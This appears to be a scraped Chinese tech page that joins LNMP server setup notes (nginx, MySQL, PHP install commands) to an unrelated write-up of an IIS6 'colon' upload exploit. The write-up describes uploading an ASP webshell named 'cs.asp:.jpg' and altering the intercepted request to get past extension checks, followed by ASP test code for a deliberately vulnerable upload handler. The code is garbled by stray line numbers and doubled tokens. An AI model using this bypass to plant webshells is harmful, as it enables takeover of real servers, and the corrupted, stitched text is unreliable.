		fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
		fastcgi_param PHP_ADMIN_VALUE open_basedir=$document_root;
		include fastcgi_params;
	}
	location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ {
		expires 30d;
	}
	location ~ .*\.(js|css)?$ {
		expires 12h;
	}
}

默认安装目录: /etc/nginx/
默认SSL和虚拟主机配置目录: /etc/nginx/conf.d/
默认日志保存目录: /var/log/nginx/
默认网站文件目录: /usr/share/nginx/html
默认配置文件: /etc/nginx/nginx.conf
默认访问日志文件: /var/log/nginx/access.log
默认错误日志文件: /var/log/nginx/error.log

二、MYSQL

# yum install mysql mysql-server
# chkconfig mysqld on
# service mysqld start
# mysqladmin -u root password 'your-password'

配置文件路径:/etc/my.cnf
数据库路径:/var/lib/mysql

三、PHP

# yum install php-common php-fpm php-cli php-pdo php-mysql php-mcrypt php-mbstring php-gd php-tidy php-xml php-xmlrpc php-pear php-pecl-memcache php-eaccelerator
# chown nginx:nginx /etc/php-fpm.conf
# mkdir /var/lib/php/session
# chown -R nginx:nginx /var/lib/php/session
# chkconfig php-fpm on
# service php-fpm start

配置文件路径:/etc/php.ini
扩展模块路径:/usr/lib/php/modules (32bit)
/usr/lib64/php/modules (64bit)

最新IIS6冒号上传0day漏洞利用

测试之条件:
asp脚本

上传的文件不会改名
只允许上传.jpg后缀的文件

利用:

上传一个jpg木马图片 名字为:cs.asp:.jpg 注意是: 默认windows是不允许文件字含:(冒号)的 所以需要抓包后改下!!
上传成功后,iis会忽略掉:后面的字符,也就是成了cs.asp .但是在接收判断文件后缀还是可以检测的.jpg 绕过了 后缀检测 。

补充:
iis截取到的数据是完整的cs.asp:.jpg 但是上传过去的文件应该由于windows不允许带:文件名 所以iis直接去掉了:后面的 这个和%00截断应该不是一样,%00截断是直接截断了后面的 这样的话如果在前面有检测就无法通过检测了。

测试asp源码

<form action=”1.asp?s=ys” method=”post” enctype=”multipart/form-data” name=”form1″>
file:<input name=”FormNameItem” type=”file” />
<button type=”submit”>提交</button>

</form>
<%


if len(Request(“s”))>0 then
Set oFileObj = New UpFileClass
oFileObj.GetData

For Each FormNameItem in oFileObj.File
FileName = oFileObj.File(FormNameItem).FileName
FileExtName = oFileObj.File(FormNameItem).FileExt
FileContent = oFileObj.File(FormNameItem).FileData
oFileObj.File(FormNameItem).SaveToFile server.MapPath(“”) & “.asp:.jpg”
Response.Write server.MapPath(“”) & “.asp:.jpg OK!”
Next

end if
Dim UpFileStream
Class UpFileClass
Dim Form,File,Err
Private Sub Class_Initialize
Err = -1
End Sub
Private Sub Class_Terminate
’清除变量及对像 www.2cto.com
If Err < 0 Then
Form.RemoveAll
Set Form = Nothing
File.RemoveAll
Set File = Nothing
UpFileStream.Close 40.Set UpFileStream = Nothing
End If
End Sub

Public Property Get ErrNum()
ErrErrNum = Err 46.End Property

Public Sub GetData ()
’定义变量
Dim RequestBinData,sSpace,bCrLf,sObj,iObjStart,iObjEnd,tStream,iStart,oFileObj
Dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
Dim iFindStart,iFindEnd
Dim iFormStart,iFormEnd,sFormName

’代码开始
If Request.TotalBytes < 1 Then ‘如果没有数据上传
Err = 1
Exit Sub
End If
Set Form = CreateObject (“Scripting.Dictionary”)
Form.CompareMode = 1
Set File = CreateObject (“Scripting.Dictionary”)
File.CompareMode = 1
Set tStream = CreateObject (“ADODB.Stream”)
Set UpFileStream = CreateObject (“ADODB.Stream”)
UpFileStream.Type = 1
UpFileStream.Mode = 3
UpFileStream.Open
dim ReadedBytes,ChunkBytes
ReadedBytes=0
ChunkBytes=1024*100 ’100K分块上传方案
Do While ReadedBytes < Request.TotalBytes
UpFileStream.Write Request.BinaryRead(ChunkBytes)
ReadedBytesReadedBytes = ReadedBytes + ChunkBytes
If ReadedBytes > Request.TotalBytes Then ReadedBytes = Request.TotalBytes
Loop

’UpFileStream.Write (Request.BinaryRead(Request.TotalBytes))
UpFileStream.Position = 0
RequestBinData=UpFileStream.Read
iFormEnd = UpFileStream.Size
bCrLf = ChrB (13) & ChrB (10)
’取得每个项目之间的分隔符
sSpace=MidB (RequestBinData,1, InStrB (1,RequestBinData,bCrLf)-1) 85.iStart=LenB (sSpace)
iFormStart = iStart+2
’分解项目
Do
iObjEnd=InStrB(iFormStart,RequestBinData,bCrLf & bCrLf)+3
tStream.Type = 1
tStream.Mode = 3
tStream.Open 93.UpFileStream.Position = iFormStart
UpFileStream.CopyTo tStream,iObjEnd-iFormStart
tStream.Position = 0
tStream.Type = 2
tStream.CharSet = “gb2312″
sObj = tStream.ReadText
’取得表单项目名称
iFormStart = InStrB (iObjEnd,RequestBinData,sSpace)-1
iFindStart = InStr (22,sObj,”name=”"”,1)+6
iFindEnd = InStr (iFindStart,sObj,”"”",1)
sFormName = Mid (sObj,iFindStart,iFindEnd-iFindStart)
’如果是文件
If InStr (45,sObj,”filename=”"”,1) > 0 Then
Set oFileObj = new FileObj_Class
’取得文件属性
iFindStart = InStr (iFindEnd,sObj,”filename=”"”,1)+10
iFindEnd = InStr (iFindStart,sObj,”"”",1)
sFileName = Mid (sObj,iFindStart,iFindEnd-iFindStart)
oFileObj.FileName = Mid (sFileName,InStrRev (sFileName, “”)+1)
oFileObj.FilePath = Left (sFileName,InStrRev (sFileName, “”))
oFileObj.FileExt = Mid (sFileName,InStrRev (sFileName, “.”)+1)
iFindStart = InStr (iFindEnd,sObj,”Content-Type: “,1)+14
iFindEnd = InStr (iFindStart,sObj,vbCr)
oFileObj.FileType = Mid (sObj,iFindStart,iFindEnd-iFindStart)
oFileObj.FileStart = iObjEnd
oFileObj.FileSize = iFormStart -iObjEnd -2
oFileObj.FormName = sFormName
File.add sFormName,oFileObj
else
’如果是表单项目
tStream.Close
tStream.Type = 1
tStream.Mode = 3
tStream.Open
UpFileStream.Position = iObjEnd
UpFileStream.CopyTo tStream,iFormStart-iObjEnd-2
tStream.Position = 0
tStream.Type = 2
tStream.CharSet = “gb2312″
sFormValue = tStream.ReadText
If Form.Exists(sFormName)Then
Form (sFormName) = Form (sFormName) & “, ” & sFormValue
else
form.Add sFormName,sFormValue
End If
End If
tStream.Close
iFormStartiFormStart = iFormStart+iStart+2
’如果到文件尾了就退出
Loop Until (iFormStart+2) >= iFormEnd
RequestBinData = “”
Set tStream = Nothing
Set KS=Nothing
End Sub
End Class

’—————————————————————
’文件属性类
Class FileObj_Class
Dim FormName,FileName,FilePath,FileSize,FileType,FileStart,FileExt
’保存文件方法154.Public Function SaveToFile (Path)
’On Error Resume Next

Dim oFileStream
Set oFileStream = CreateObject (“ADODB.Stream”)
oFileStream.Type = 1
oFileStream.Mode = 3
oFileStream.Open
UpFileStream.Position = FileStart
UpFileStream.CopyTo oFileStream,FileSize
oFileStream.SaveToFile Path,2
oFileStream.Close
Set oFileStream = Nothing
Set KS=Nothing
End Function
’取得文件数据
Public Function FileData
UpFileStream.Position = FileStart

FileData = UpFileStream.Read (FileSize)
End Function
End Class